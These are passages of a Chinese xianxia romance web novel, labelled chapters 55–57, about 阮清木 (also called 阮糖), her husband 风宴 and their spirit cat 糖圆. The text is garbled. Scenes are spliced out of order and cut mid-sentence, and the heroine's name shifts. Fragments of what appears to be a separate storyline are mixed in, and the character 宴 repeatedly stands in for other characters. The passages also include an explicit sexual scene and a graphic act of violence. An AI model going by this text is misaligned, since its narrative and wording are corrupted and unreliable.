糖圆正一头雾水,但瞥见熟悉的风宴,便不再顾忌徐津和黎清越的视线,只一心朝着风宴喵喵叫了起来。 它叫的这么卖力,也不知道这个姓江的傻子能不能听懂…… 算了,要不还是辛苦一下,将他带去娘亲身边吧。 于是,糖圆便摇了摇尾巴,一边叫着,一边抬起爪子,朝着山脚附近的位置挥来挥去。 而一对上糖圆琥珀色的瞳孔,风宴的心便彻底沉了下去。他急匆匆地追随着糖圆而去,却在路过黎清越身边时听他冷不丁出声: “山上已经没有人了。”此刻,风宴的目光终于从黎清越身上挪开,他低下头看着怀中人,神情不明。风宴不明白,阮糖分明还好端端地躺在他的怀中,身上没有伤痕,平静得像是在熟睡,为什么所有人都要宣告她的死亡。 她明明只是睡着了。 风宴伸出手,冰冷的手指从阮糖的额头一路游移到鼻尖,她闭着眼,睫毛浓密,唇角微抿,只是再也没了温热的呼吸。 一切都是冰冷的,仿佛世间的寒霜都凝结在他周围,只有滚烫的泪水才能化开。 可当风宴的热泪砸下,落在阮糖的脸庞上时,她的眼眸仍未睁开。风宴只能僵硬地转过头,紧紧抱住她,不让自己的眼泪湿了她的脸。 这样的味道,她不喜欢。 原本只跟在风宴身边的糖圆也小步迈到他身边,伸出爪子,攥住阮清木的衣袖。握了一会,糖圆才抬起头,一双琥珀色的猫瞳盯着黎清越看。 它还是不相信黎清越的话,他一定可以救娘亲的,娘亲也不是什么会被命数束缚的凡人,她一定是修仙之人。 更何况,就算是凡人,这世间为凡人逆天改命的故事还少吗? 正道就是这般虚伪,只想着修仙飞升才是最重要的事情,而不愿意去耗费心力挽救他人的性命。 糖圆盯着黎清越和徐津看了一会,等黎清越再度垂下眼的时候,它又猛然一低头,乖顺地坐倒在风宴身边,毛茸茸的尾巴耷拉在满是黄土的地上。 黎清越倏然唤出天华剑,琉璃莹白的剑尖指向风宴,剑身在轻微晃动,连带着他的声音也有了些许波动:“……风宴,你可愿入我天月宗,修习剑术?” 听到他的声音,徐津顿时抬起头,望向风宴。一旁的百姓离得不近,只能看见黎清越拔剑向风宴的场景,众人犹疑了会,最后还是跟着小玉一家人的步伐走过来,见状便要劝解道:“仙人,有话好好说,小宴这孩子也不是故意冒犯您的,您就大人有大量,放他一马吧……” 而黎清越没有理会他们,目光悉数落在风宴身上。风宴却只是低着头,恍若未觉,仿佛被冻住的雕像。一旁的糖圆却迅速眨眨眼,分出一只猫爪,去够风宴的衣袖。 只可惜,在够到之前,黎清越又缓声道:“若你能做好天华剑的传承人,我可以救她。” 风宴抬起头,直视着他,嘴唇动了动,像是想问什么,但最后还是沉默地伸手握上剑。锋利的剑尖顿时划破了他的手,鲜红的血滴落下来,在黄土中化开。与此同时,原本还处于躁动状态的天华剑也安静下来,就这样停在了风宴的手心之中。 果然,风宴就是他们要找的人。 然而,一对上风宴的眼神,黎清越没有半点如释重负的心情,他甚至开始怀疑自己以阮糖的性命去引诱风宴修道,这一步棋是否正确。 但话已落地,天华剑也已经认可了风宴,黎清越便只能继续走这一条路。 黎清越收回眼,淡淡道:“给你一刻钟收拾东西。” 风宴应了一声,一旁的人也终于弄清楚了这件事,众人面面相觑,也不知道该是劝风宴节哀,还是为他能入仙人之眼而庆祝。 要不然怎么说是造化弄人? 要不是这一场天灾,天月宗的人就不会来他们这个破落的小村镇,小宴也不会入了他们的眼,一步登天。但要不是这一场天灾,小宴的妻子也不会香消玉殒…… 诸多情绪糅杂在一起,最后一群人也只是互相望了一眼,不约而同地叹了口气,便默默退回到之前的位置。 不宴处,林不语悄然背过手,起初停在他指尖上的蝴蝶眨眼间便没了踪迹。 掌门收徒,收的还是天华剑的未来持剑人,这样的消息不可谓不重要。 林不语微微扬起唇,他已经可以预料到这个消息传开后,宗门上下的情况了。届时,作为第一手情报人,他可得好好利用这个身份,给自己弄点好处。 风宴猛地站定,回身望向他,只看见黎清越双唇一张一合,如此之间便吐出令人头脑发麻的话语:“山上已经没有活人的气息了。” 徐津下意识去看风宴的反应,却见他又回身,脚步不停,仍要跟着那只猫朝着山上走。徐津忍不住出声喊住他,再次劝道:“江兄……” 风宴却只是看了他一眼,极为平静道:“我要去找她。” 徐津看向自己的师父,见黎清越没有出言阻拦,便只能一叹气,看着风宴朝那座山走去。 过了会,黎清越才又出声,问他:“那人就是先前引发残魂异动的人?” “是。”徐津收敛神色,恭敬道,“不仅如此,先前他还挣脱了弟子的灵力束缚。弟子认为,此人不会是普通凡人,只是……” “只是如何?” 徐津垂下眼,一字一句道:“只是,师父有所不知,此人早已成婚,并与妻子感情甚深,怕是难以完全得到天华剑的认可。” 毕竟要想完全掌控天华剑,需得心中毫无杂念,自然也得撇去七情六欲。 “早已成婚?”黎清越抬眼,朝着风宴离去的方向望着,“那也无碍,毕竟若是他的妻子在山上,此刻也已香消玉殒了。” 没有人比黎清越更知道凡人生命的脆弱所在,在突如其来的自然灾害和人为伤害之外,生老病死,命定地逝去也算是最为完美的结局了。 黎清越拂了拂衣袖,忽而轻声道:“走吧,先去看看周边百姓的情况。” “是。” 徐津和黎清越到的时候,林不语正在安抚百姓,他向来会说些花言巧语,将原本忧心忡忡的老人哄得心花怒放,拉着他不放。 见到徐津身边的黎清越,林不语才连忙说了几句,快步走过来,拱手行礼:“弟子林不语见过掌门。” “不必多礼。”黎清越的目光扫过这里的每一处,百姓虽面有愁容,但都聚在一处,不见其余吵闹和争执之景,他点头称赞了一句,“你做得很好。” 林不语飞快地瞄了一眼徐津,才低下头说:“都是徐师兄安排得当,反应迅捷,才免去百姓之苦。” 徐津没有接话,尔后又到人群中探查了一番,安抚了几句。等他要走回到黎清越身边时,倏然有人弱弱出声:“这、这位仙人,您可知小宴去哪了?” 见状,其余认识风宴的人纷纷扭头一看,陆续附和起来:“是啊,这孩子人呢?” “莫不是出……” “不要说这些不吉利的,有仙人在,小宴肯定是平平安安的。” 徐津无法正面回答这些问题,只能对着小玉说:“放心吧,他不会出事的。” 小玉怯怯地点了点头,不由得握紧身边丈夫的手,希望从中获取些许力量,支撑着她站稳。她不敢想,要是风宴还有阮姑娘都在这场山洪中出了事,她到底该如何去解释这些事情。 难道真的是命运中的诅咒吗? 徐津走回到黎清越身边,思忖了一会,正要出声问问风宴的事情,却见黎清越倏然抬头,抬眼朝不宴处望去。于是,似有所感,徐津便循着黎清越的视线找过去,只看见风宴一步一步地朝他们走来。 离得更近些,徐津才看见风宴的怀中还抱着一名女子,她闭着眼,仿佛正在熟睡。 悄无声息。 第 55 章 第 55 章 快板越打越快,说书小子摇头晃脑着唱:“当夜,红烛高照,鸳鸯交卧……唉哟!” 有人砸了他一下,不偏不倚正中他的舌头,顿时舌根肿大刺麻,连句话都说不出来。 他刚要怒骂,然而定睛一看,原来这人扔了块儿碎银子过来,马上又笑逐颜开地捡起来,快板自然也是打不下去了。 刚要搞黄色就停下,阮清木有点失望。 不过看看旁边的男人,她觉得不听也就算了。 风宴却蹭了蹭她的手背,平静道:“在这儿等我,我去找附近的一个朋友,一点事。” 去找一点麻烦。方成业,居然真的测出了仙骨,又有风宴引荐,当天就入了紫乾堂,从低阶的外门弟子做起。 这也足够村子里好一番震动了,紫乾堂是蜀宴派一脉分支的分堂,那可是天下第一修仙门派,又有大名鼎鼎、天下共主的紫英仙君坐镇。 回去的路上,方嫂子都是飘然着的表情,逢人就要传播喜讯,把风宴送回家后,更是喜笑颜开着跟阮清木反复渲染此事,言语中大有这两男人已经拿下修仙界,问鼎天下的自豪。 阮清木胡乱应了两声,将人打发走以后,就去追着风宴问:“怎么可能呢,方大哥从小就是灵脉不通,怎么会三十来岁了突然开窍?” 风宴正提着水桶,去宴里那条小溪给阮清木打水。 见她口吻着急,还紧紧跟着自己,就反问她,“你也想入仙门?” “没有。但是我觉得很奇怪,而且方大哥他前段时间不是入了个什么青阳宗?没过几天自己又回来了。真的很不对劲。” 风宴却又没说话了,来回三四趟,把家里的大水缸填满,随后默不作声着躺在院里的摇椅上。 他指使着阮清木,“把架上那本白封红线的书拿来。” 阮清木不知道他在鼓捣着什么,但也依言照做,拿在手里一看。 那是一本……启蒙经? “念。”风宴没个正行,就这么躺着,一手支着下巴跟她说,“第七张,后半截。教亲友称谓的。” 阮清木愣愣着没说话,瞧出他不正经,没翻书,只是转身想走。 但男人的手一勾,便把她拽了回来。 阮清木踉跄几步,双手慌乱中扶住了摇椅扶手,人险些贴在他身上。 风宴还在盯着阮清木,口吻冷淡,“你乱喊个什么。大哥是你最年长的兄弟,他是什么东西?” 阮清木的眼神逐渐变得无语。 阮清木总觉得瞥见了小熊猫那毛茸茸的尾巴,但把头伸出来一看,却又什么都没有。 倒是迎面看见风宴从屋里出来,她连忙缩回脖子。 “别做饭了。”他说,“带你去镇上饭馆。” 可是天都要黑了。 从家里到镇上,起码要走小半个时辰,为这一口吃的还得摸黑回家。 阮清木在厨房里回他,“我不去。饭都要做好了。” 古代做饭不方便,还好灶台下面有个能生火的法器,像是天然气那样可以控制着燃灭,甚至阮清木发现,这法器还能听得懂人说话。 这就是夫君在修仙门派里当差的好处,家里还有很多这种方便的小玩意儿,阮清木看村里别的人家都没有,她从来不声张。 “关火吧。”阮清木踢一脚灶台,火势却猛地腾大,窜出一线火舌舔上她的手背,阮清木忙不迭躲了下,感到莫名其妙。 灶台已经熄了。 “你生气了?” 风宴堵在厨房门口,端详着她还带着点火气的脸。 阮清木:“没有。” 她有什么好生气的。 天色已然擦黑,他逆光而立,大半张脸隐在暗中,不知道看了她多久。 像个幽静的影子。 “但是我生气了。” 风宴的语气有些古怪,“是有些没道理。” 风宴受伤,反而被阮清木板起脸来训了顿。 阮清木被人找上门欺负,风宴却又反对她生了点莫名其妙的不痛快。 两个人,都有点奇奇怪怪的。神经。 追着他说了好一通话,他却只在这里纠着称谓。 风宴反手压住她扶在身侧的手背,不让她离开,说得饶有兴致,“你在骂我。” 阮清木的手被压着,下半身也让他圈在腿间,整个人进退不得,椅子又不断摇晃着没有着力点,时刻要跌在他身上。 他在捉弄自己。 他的心情也很好,眼里只专注地映着她的影子,“骂了什么?说出来听听。” 阮清木忽然板起脸,“虎子!不要再闹了。” 阮清木点着头,“去吧,那我再坐会儿。” 这还是她第一次来到城里,感觉还有点新鲜。 光是一个天香楼就比她想象的要豪华不少,这里的食客衣着体面,外面街上也繁华,是个盛世的模样。 修仙世界就是不一样。楚意的鱼,不见了。 阮清木说是鱼自己跑掉了,这是在撒谎。 她怀疑是被这夫妻两个偷吃了,因为他们两个之间的氛围变得有点不对劲,连不经意对望一眼都会怔着避开,然后阮清木的脸颊就会发红,这显然是心虚的表现。 但楚意没有确切的证据,暂时也就没声张,只是很生气地决定要教训教训他们。 两个凡人,胆大包天,偷吃她鱼。 她原本可是想慷慨分享的。 把人的鱼儿弄丢了,阮清木也觉得过意不去,那天和柳二娘去镇子里买了条大鲤鱼,请老板处理了干净,准备炖了它给楚意吃。 她在厨房里忙活半天,刚好今天风宴回家很早,她去书房里问了句话,再回厨房时,整条鱼都不见了,锅里面只剩下点汤汁。 阮清木目瞪口呆:“……家里遭贼了。” 风宴来到厨房观摩遗迹,眼也不抬,“后面那个偷的。” “无凭无据的,不好怀疑人家吧。” 阮清木其实心里面也这么认为,但已决定自认倒霉,“算了,可能是附近什么猫儿叼走了。” 风宴语气微讽,“或许是上次瞧见那个野猪,成了精。” 房顶上有微妙的一声响动,阮清木望了风宴一眼,没吭声。 风宴牵起她的手,“去镇上吃吧。” 他租来一辆马车,径直去了城里。 两人先去天香楼里用了午饭,阮清木没多点菜,但既然出来了,也就不扫兴,还让人上了一壶温温的黄酒,跟风宴一人喝一杯。 天香楼中央搭了个戏台,有演员在打着快板儿念唱,说得是紫英仙君两百年前大战阎罗鬼王的事情,一场战役被他说得神乎其神,连阮清木也听了两耳朵,她不信,“真的假的?这么夸张。” 风宴声音懒洋洋的,“假的。” 哪有什么大战。当年他一剑就砍死了那个虚张声势的鬼王,砍完后还有点后悔,早知如此不济,就该扔给林微他练练手。 两碟小菜下肚,但是阮清木还没想走。 因为快板正打到大战以后,说得是紫英仙君和一位东海仙女的故事,说得相当生动缠绵,那紫英仙君为博美人一笑,竟然动用了上古法器,招来九百九十九十只金色凤凰,另又安排了天边七彩祥云化作那位东海仙子的模样,凤凰绕着仙子的模样不断转着圈,代表着紫英仙君的深情告白。 阮清木想着那画面,哈哈一笑,“紫英仙君多大岁数?这也太俗气了吧。” 风宴面色不佳,这次没出声了,显然对这种言情小说并不感兴趣。 风宴每个月工资都会如数上缴,自己一分都不留,阮清木总会再拨出一份留给他当零花钱,他自己虽然不在意,但也在花。 他对钱不大上心,工作这么多年都没在城里买房。 今天一顿饭钱用了四五天的生活费,阮清木不由就在心里规划起这个月剩的银钱安排,想得出神,连身边什么时候坐了个纨绔子弟都没注意到。 这是个非常标准的,纨绔子弟。粉色方巾系在脑袋上,手摇折扇,形容猥琐。 他身边跟着两个不正经的小厮,之前这三人在二楼吃饭,透过屏风一直在看阮清木,想不到她落单,当即兴致冲冲赶下来,张口便笑,“嘿嘿,小娘子,可知道你家夫君去哪里了?” 他身旁的小厮跟着一唱一和:“我亲眼瞧见了,他拐着弯就去了红袖楼~” “看来,你家夫君是那儿的常客咯。真作死,有个天仙似的小娇娘在身边,”说着,这人来捉阮清木放在桌面上的手,但她飞快收了回去,他却一脸荡漾着摩挲着阮清木放手的那块微热的桌面,“若是我有你这样的娘子,我那货可都舍不得拔出来。” 话说得太糙,两个小厮放声狂笑。 一旁的食客认出来这纨绔是禹王府家的子弟,都纷纷避着离开。 阮清木也站起身子,高声道:“小二,过来结账。” 纨绔略有意外,原以为她会被吓语无伦次瑟瑟发抖,没成想她还敢叫人,倒是刮目相看,拍掌笑道:“好!我就喜欢这种硬美人。” 小二不敢过来,只为难着站在不远处。她一直很害怕会吵架的人。 胆子真小。 风宴静静看着她,那吓死人的讥讽口吻没变,“早上不是还敢训我?对上她们两个怎么就哑巴了。” 就这么可怜巴巴地缩在那边,被人欺负。 还推说他年纪大。 阮清木没吭声,只默默从椅子上滑下去,溜进厨房。 就知道自己也要挨骂。 倒霉。 院子里,那只九节狼又无声无息地翻墙进来,避开厨房里的阮清木,快速遛到风宴面前,谨慎着四爪贴地,以示臣服。 它是个吃人的妖兽,被蜀宴派的弟子们抓住,关在牢里有几年了。 但架不住小巧可爱,蜀宴的很多女弟子都会偷偷来撸它,今天又被风宴抓过去,让它去讨一个女子的欢心。 可快气死小熊猫了,打定主意绝不屈服。 它可是吃人的猛兽!!而不是献媚的猫狗!! “紫英仙君。”小熊猫像个没性别的小孩声,“我愿意给这个女子……做玩物。求您别再把我关进地牢里。” 这个女子,虽然是人类,但刚才轻声哄它的时候,却让它想起了妈妈。 紫英仙君皱眉:“你吃人吗?” 小熊猫吭哧两声,听着还像是不服气,“我以后不吃就是了。” 它以前也不吃,之前实在是被猎人逼急了。 但就是这么没天理,人能打猎,甚至只为了取乐而杀生,妖却不能杀人,哪怕下一刻就要饿死。 “真是没用。”风宴嫌道:“出去,爬远点。别再出现了。” 阮清木皱着眉,往后退了两步,纨绔的一只手已经摸到了她的腰,颇不怀好意着凑近,才要说话,脸上就被却被人甩了一巴掌。 不是单纯的一巴掌,而是一道劲风,打下来以后半张脸的骨头都碎了,牙齿也落在嘴巴里,像是含了一嘴的小石子。 脑浆子也被打匀了。 旁人甚至不知道发生了什么,只见方才还嚣张的一个人,瞬时就像被抽了魂,愣怔着眼睛发直,踉跄着几步。 阮清木连忙大力推开了他,快步走向了酒楼门口,拽了拽风宴衣袖,小声道:“走吧。” 风宴还算平静,“我先去结账。” 第 56 章 第 56 章 阮清木也是没想到风宴这时候如此干脆利落了,她也是骑虎难下,直接一咬牙,一闭眼,就坐在床上,将自己那处地方袒露出去了。 衣料摩擦间,空气中更静了。 风宴盯着那处,双眼仍是亮晶晶的,仿佛在凝望着神秘圣洁之物,想要注视,却又忍不住回避。被他这样不加掩饰地直视着,阮清木的心头也泛上些许羞涩,她刻意仰起头,让风宴消失在自己的视线之中,催促他:“……快点。” “嗯。” 风宴应了声,尔后便没了声响。阮清木看不见他,却能感受到他灼热的呼吸,以及贴的越来越近的气息。 好热,好闷。 阮清木咬住唇,心乱如麻,等双唇真正贴合的时候,她忍不住惊呼出声,又迅速咬紧牙关,不想让自己在风宴面前露怯。床下,风宴像是没听到她的声音,他没出声问她,而是开始生涩地吻着。 确实生涩。 阮清木甚至疑心有几次,风宴的唇齿一定磕碰到了。但时间逐渐拉长后,风宴又学的极快,动作也变得熟练和缠绵起来,可谓是真的无师自通。不久,阮清木便下意识地朝后靠,双手撑在背后,仰头平复着呼吸。 另一边埋头苦干的风宴看不见阮清木的神情,只能根据她的喘气声去判断她的状态。 她既然没有叫停,那说明他目前的表现应该尚可吧? 思至此,风宴不由得越发低头,想尽力讨阮清木的欢心。等到水源流出,风宴试探性地探出舌尖吸吮的时候,阮清木的浑身才迎来了真正的战栗。 房间内都是她的声音,细小的喘息,还有轻微的水声。 听到她的声音,风宴的心中也漫上异样的感觉,这样的声音他只在两人行房时听过。原来只是这样的亲吻,也能让她快乐欢喜至此吗? 风宴不由得又专心用力了些。阮清木心下一沉,好久才喃喃道:“是吗?” 小玉点头,又轻轻拍了拍她的手,算是安慰:“不过小宴现在有了你在身边,你们小夫妻过得和和美美的,这辈子人还有什么不知足的呢?” “是啊。”阮清木费劲地扯出一个笑容,匆忙拜别了小玉,便往回走了。 她该怎么办? 来到风宴身边,又再次离开吗? 怪不得就因着她所谓的“一家人”,风宴就答应将糖圆留下了,他的果然还是在期待一个幸福美满的家庭…… 可是,阮糖给不了的,她阮清木更给不了。 到了家里,阮清木就闻到了一股香味,是风宴准备的早饭好了。他没有动筷,而是蹲下身,将一小根肉条递到糖圆嘴边,糖圆舔了几下,就是不吃。听见脚步声,它看了眼阮清木,才喵呜一声,将肉条嚼进嘴里。 而见它终于领情,风宴舒出一口气,脸上浮现出含着一点如释重负味道的微笑。 走近了,阮清木才发现糖圆的的面前还放了一小碗羊奶,澄白清透,但看起来像是没有猫动过的样子。 这个年纪的小猫都这么挑食了吗? 阮清木不禁蹙眉想,她之前养过的那只猫馋起来可什么都吃,有时候渴了还会急匆匆地跳过来抢她的酒喝,喝完就醉醺醺地趴在她怀中睡着了。 但它也不长记性,下次渴了照样是什么都喝。相比起来,糖圆这只野猫竟比它还要难养。 阮清木走过去,摸了一把糖圆,才轻声说:“挑食可是不好的行为。” 糖圆呜呜了几声,像是在抗议,见阮清木不伸手抱它,又一个劲地用爪子扒拉她,扒拉了半天也只摸到一小片衣袖。 过了会,它才眯起眼睛,低下小脑袋,咕噜咕噜地将碗里的羊奶喝完了。阮清木这才抱起它,转而对风宴道:“下次糖圆再挑食,你不要纵着它,饿几顿就什么都好了。” 原本还在阮清木怀中动来动去的糖圆顿时安静了,一双琥珀色的猫瞳盯着风宴看。 风宴也笑起来,顺着阮清木的话说:“好。” 话音刚落,一开始还兴高采烈的糖圆顿时泄了气,它朝风宴示威性地挥了几下爪子,便老老实实地躺回阮清木怀中,安静得像是睡着了。 这猫果然通灵性,风宴忍不住想。 这样看来,糖糖说糖圆是他们两人的孩子也不算假,毕竟和小玉阿姊家的孩子一样,都是亲近母亲多点。 喂饱糖圆,风宴和阮清木才坐下来吃早饭。风宴准备的膳食依旧很美味,但一想起小玉姐姐先前的话,阮清木便没了胃口。 她怎么如此迟钝? 风宴不仅厨艺好,家务也是样样精通,还会去山上砍柴狩猎,他几乎无所不能。阮清木原以为风宴的父母是前几年才离世,风宴跟着他们学了几年才成这般模样,但现在想来,年少时便要独自生活,撑起一个家才能塑造出这样的风宴。 风宴看了眼阮清木面前几乎没怎么动过的桂花小圆子,微微皱起眉头,问:“身体不舒服,是来月事了吗?” 算算日子,也是这几天了。 阮清木摇头,在风宴关切的神色下几乎说不出话来。一开始,她这副身体确实会来月事,但随着她经脉逐渐修补成功,阮糖这具凡体也隐隐有了修士的特质,她已经两个月没来月事了,更难以受孕。 阮清木抿抿唇,突然发问:“……夫君,你当初为什么愿意同我成亲?” 如果风宴的想法也并不纯粹,那她是不是会好受一点? 在这个想法冒出来的瞬间,阮清木便被自己吓了一跳。 即便如此,她还是注视着风宴,迫切地寻求一个回答。而风宴难得没有就此躲开她的目光,而是握上她的手,望着她,一字一句地坚定道:“因为我欢喜你,糖糖。” 许是初次经历这般,阮清木很快便释放出来。她还飘飘然地躺在那里,风宴却已经用唇舌帮她清理好了。 他站起身,缓缓伸手,将她抱在怀中,鼻尖还沾着水雾,关切地问她:“……还好吗?是我太过粗鲁了?” 阮清木眯着眼看他,双唇微启,话到嘴边又不好意思承认自己的受用,只能轻轻摇一摇头,靠在他身上。房间内溢满了阮清木的气息,风宴的身上尤甚。他们靠在一起,阮清木甚至能从风宴的呼吸中闻出属于自己的味道。 她的脸更红了,身上的燥热也久而不散,心口处甚至有了被灼伤的感觉。 没得到阮清木直接的回答,风宴表现出了鲜有的执着,他低下头,坚持不懈地确认阮清木的状态:“要喝点水吗?” 阮清木点头,风宴便起身去取水。望着风宴的背影,阮清木还是忍不住开口:“……你还是先去洗漱一下吧。” 不然她真担心风宴鼻尖的水雾会就此凝结。 风宴身形一顿,沉沉地吐出一个“嗯”,便打开门,大步走宴,颇有点落荒而逃的感觉。 阮清木盯着那背影看了好几眼,等挪动身躯的时候才后知后觉地意识到—— 先前帮她的时候,风宴似乎也起了反应。 那时候她全身心的关注都放在自己身上那处,虽然也察觉到抵在她背腰处的硬邦邦,但她没多想就以为是床榻上的装饰。 没想到……阮清木一向喜欢看风宴脸红害羞的样子,可现在风宴身上还有脸上炙热的温度都像是直直射向她的日光,将她心里那些阴暗至极的想法曝晒出来,无所遁形。 她不敢再看,只能羞愧地低下头,低低地嗯了一声,别开话题:“对了,你不是还要去镇上吗?快点去吧,我在家陪糖圆玩会,等你……回来。” 话到末尾,阮清木直接气虚,但也只能硬着头皮说下去。 风宴却以为她还难受着,便起身,贴心地给她留出个人空间:“好,这些早饭你若是用不下,等我回来给你带宁香阁的蜜饯,还有桃花酿。” 再加上之前定做的衣裳,糖糖看到必然会欢喜一点,风宴在心里默默筹划起来。 阮清木没怎么听,只点点头,便抱着糖圆回了屋。 阮清木无声地叫了几下,在床上滚了几个来回才冷静下来,重新坐好,给自己扇风。 不慌不慌,虽然她也是第一次玩这种,但是她和风宴也做了三个月的夫妻,她连风宴身上有几颗痣,腰后有一道疤都知道,只是这样有什么可害羞的。 阮清木就这样说服了自己,她静静坐了一会,身上确实清凉了许多,但胸口处的灼热仍未消散,甚至隐隐有了加剧的趋势。她本想伸手试试温度,却捏到了一处地方,提溜出来后才看清,那是她昨晚忘记拿下的白玉石吊坠。 此时,那块白玉石就躺在她手心,烫到让她无法忽视。 阮清木凝眉沉思了会,还是决定放出些许灵识,见风宴大约还在浴堂,周围也没有其他风声,她便安下心来,专心与眼前的白玉石联结。 不多时,白玉石便发出一道光亮,像极了那晚上的光芒。阮清木睁大眼睛,怔怔地看着眼前的动静,一时竟也失了神。 等到耳边突然响起一道雷声,阮清木才收回神思,先是屏息凝神,尔后一吸一吐。吞吐之间,阮清木发觉自己的灵识越发清晰,灵力充沛到有了向四处逸散的趋势。 最重要的是,她原先破败不堪的经脉已然恢复如初,甚至更为强健。 她恢复了。好像还真的是。 阮清木细细回想了成婚以来他们的频率,竟真的不算低,大多还是她主动勾风宴来做的。特别是一开始,风宴越是坐怀不乱,她阮清木便是越作乱不断。 但是,这也不能全怪她吧?至少不能给她扣一个“急色”的头衔吧? 她也是想要尽快修补经脉,回去救青姨。 阮清木越想越乱,好一会儿才记起身边还有个正在等着她“教学”的人。事到如今,阮清木干脆一不做二不休,清了清嗓子,便对着风宴下达命令:“这有什么难的?像往常你我亲吻一样即可。 阮清木不敢置信地盯着自己的手心看,那块白玉石还在那里,却已经失去了光亮,也不再发烫,仿佛只是一块平常不过的石头,任谁来看都发现不了它曾经蕴含的巨大能量。 怪不得母亲当时能稳坐圣女之位,而青姨在生死关头才要将母亲的遗物交给她…… 这样的宝物要是给别人发现了,只会为她招来杀身之祸。 阮清木长长地舒一口气,调整好心态,继续打坐,等灵力在经脉中流转几个来回,确认一切安然无恙后,她才放任自己扬起一个笑容。 要是青姨还在她身边,她一定要用最快的速度冲到青姨身边,告诉她这个好消息。 可是,现在…… “喵喵~” 阮清木抿了下唇,弯腰将糖圆抱起来。许是刚睡醒,糖圆难得乖顺,懒洋洋地窝在她怀中,还打了个哈欠。过了会,糖圆才伸伸懒腰,挥动着爪子,朝阮清木手旁的那颗白玉石摸去。阮清木想了想,索性将那白玉石的吊坠给糖圆戴上,反正那现在也只是一块石头了。 糖圆喵呜了几声,对这块白玉石爱不释手,一直捧着。等开门声响起,风宴走进来的时候,一人一猫才转换了视线,抬眼朝门边的方向望去。 一看到风宴,阮清木便下意识夹紧双腿,不受控制地想起先前发生的事情。两人的目光在半空中相遇,最后还是风宴先避开,对着阮清木说:“糖糖,浴堂里已经备好水了,我先去准备早饭。” 经风宴这么一提醒,阮清木才想起这一回事,她将糖圆轻轻放下,便理了下裙摆,准备朝浴堂走去。经过风宴身边的时候,他倏然出声:“……你,需不需要我帮忙?” 第 57 章 第 57 章 回家的路上,阮清木一行人又碰上了小玉。 不过几瞬间,小玉的目光便从两人相牵的手转移到了阮清木怀中的猫上,她欲言又止,最后也只是朝他们微笑了下,道一声好便走了。 回到家,风宴照例去准备晚饭,阮清木则先给这只猫简单包扎了下。只是,人间的包扎药物似乎对其不起作用,流血的地方并没有任何愈合的迹象。 阮清木心下一沉,深觉自己的猜想十分正确,却又猛然后怕起来,或许这只猫身上的伤并不简单,是有人刻意为之,那人还不是个凡人。 而她将这只猫带了回来…… 深思之际,阮清木怀中的猫咪似乎也察觉到了她的犹疑,喵喵了几声,便亲昵地伸出舌头舔了舔她的手指。阮清木低下头,盯着它看了一会,目光逐渐柔了下来。 糖圆很像很久很久之前她偶然遇到的那只猫咪。 可惜,那只猫已经死了,是被游彦那个疯子亲手虐待而死的。尽管有父亲管着,但他再不济也是未来魔皇的人选,对付不了她,自然有许多种方法去对付她身边的人,还有事物。 阮清木想着,不由越来越出神,直到指尖传来一阵痛感,她才猛然一回神。 殷红的血从细小的伤口处冒出来,转眼间,又悉数被怀中的猫舔舐干净,至此不再流血。 与此同时,肉眼可见的,糖圆身上的伤口迅速好转起来,不一会儿便恢复如初。阮清木抱着它,身子也忽然热起来,仿佛有什么在她的内心深处烧红、沸腾起来。 果然,糖圆不是寻常的猫。 阮清木胡乱地摸了一把它,就将糖圆放下,自己则往外走,去厨房找风宴。不知为何,此时此刻,阮清木只觉风宴对她的吸引力胜过世间万物。 才进厨房,一股清甜的香气扑面而来,阮清木双眼发亮,顿时跑到风宴身边,低头去看,果然是她日思夜想的桂花糕。 “小心热气,烫。”一听见脚步声,风宴就猜到是她,“怎么来了?” 阮清木往前靠,将脸轻轻地贴到他的后颈旁,笑吟吟道:“想你了,不行吗?” 风宴没说行,也没说不行,甚至没有半点动作,但阮清木靠得近,听见了他轻微的叹息声。阮清木转过头看他,越看越觉得好玩,正要伸手戳戳风宴的脸颊肉时,他转过身,扶着她的腰身,缓缓地将她推离。等与阮清木隔开些许距离后,风宴才重新回身,将蒸笼里的东西端了出来。 热气直往上跑,模糊了两人的面容。“谁……?” 阮清木皱着眉头,眉宇间早已沁满薄汗,她伸出手,指尖蜷缩着,像是要抓住什么。晃动之间,阮清木似乎真的摸着了,她便猛然一睁眼,往前看去。 什么都没有,没有那片衣角,也没有黑黢黢的树林,更没有危险。 她呼出一口气,急匆匆地再去摸胸前的玉石项坠。 还在,完好无损。 如此这般,阮清木才真正放下心来,她眨了下眼,试图通过光亮辨别时间,却听身边人倏然出声。 “才是卯时。”风宴碰了碰她额头,轻轻地擦拭了几番,才缓缓问,“做噩梦了?” 阮清木点头:“是,你又被我吵醒了?” 风宴微微转过身,与她四目相对。目光扫过阮清木全身后,风宴盯着她胸前垂落出来的玉石吊坠看,也没否认,只是道:“现在好点了吗?” “嗯。” 阮清木随便应了几声,望见他的目光,就朝风宴伸手,拉住他的衣角,绞了又绞。见吊坠被她的手挡住,风宴垂下眼,淡声道:“还早,继续睡吧。” 见状,阮清木哼了声,就着风宴的衣角将他扯向自己,又顺势将手攀上他的脖颈。双唇相印的瞬间,阮清木只觉原本空荡荡的心也被盈满了。 有风宴在,她还能怕什么呢? 阮清木弯了弯唇角,也不深入,只是一下又一下地啄弄着风宴的唇,像是无声的逗弄。偏风宴不躲也不回应,他早已深谙阮清木的脾性,只能虚虚地抱住她的腰,撇开眼,任由耳尖染上热意。 看见风宴这副模样,阮清木顿时笑了。 风宴什么都好,对她也好,就是太羞涩了,对于床笫之事更是称不上热衷,每次都要她主动,风宴才肯。起初,阮清木还疑心过他不行,后来便在一次次中推翻了这个猜想。 “你生气了?”阮清木故意凑近,与他咬耳朵,又自问自答,“你就是生气了,不然为什么不抱抱我,亲亲我?” 话音刚落,原本搭在阮清木腰上的手顿时乱了,风宴动了动唇,像是要解释,却先被她趁机撬开牙关。吸吮之间,风宴先闭上眼,阮清木看了眼开始隐隐发光的白玉石,这才心满意足地扯开了他的腰带。 就差一点了。 阮清木随意撩拨着,欢喜得有些失了分寸,以至于到了后面,风宴明显有点失控。他紧紧地扣住阮清木的手,目光灼灼,像是在凝望她明晃晃的肌肤,也像是在盯着那白玉石看。 阮清木也不惧,就这样让风宴看了又看,他只是个凡人,看不出什么的。只是,见风宴迟迟没了动作,她不耐地呜咽几声,催促着他:“还没看够吗?” 风宴的确没看出什么。 但从看见那白玉石的第一眼起,风宴便生出一种不详的预感,而这白玉石又戴在阮糖身上,他便不得不更加重视起来。 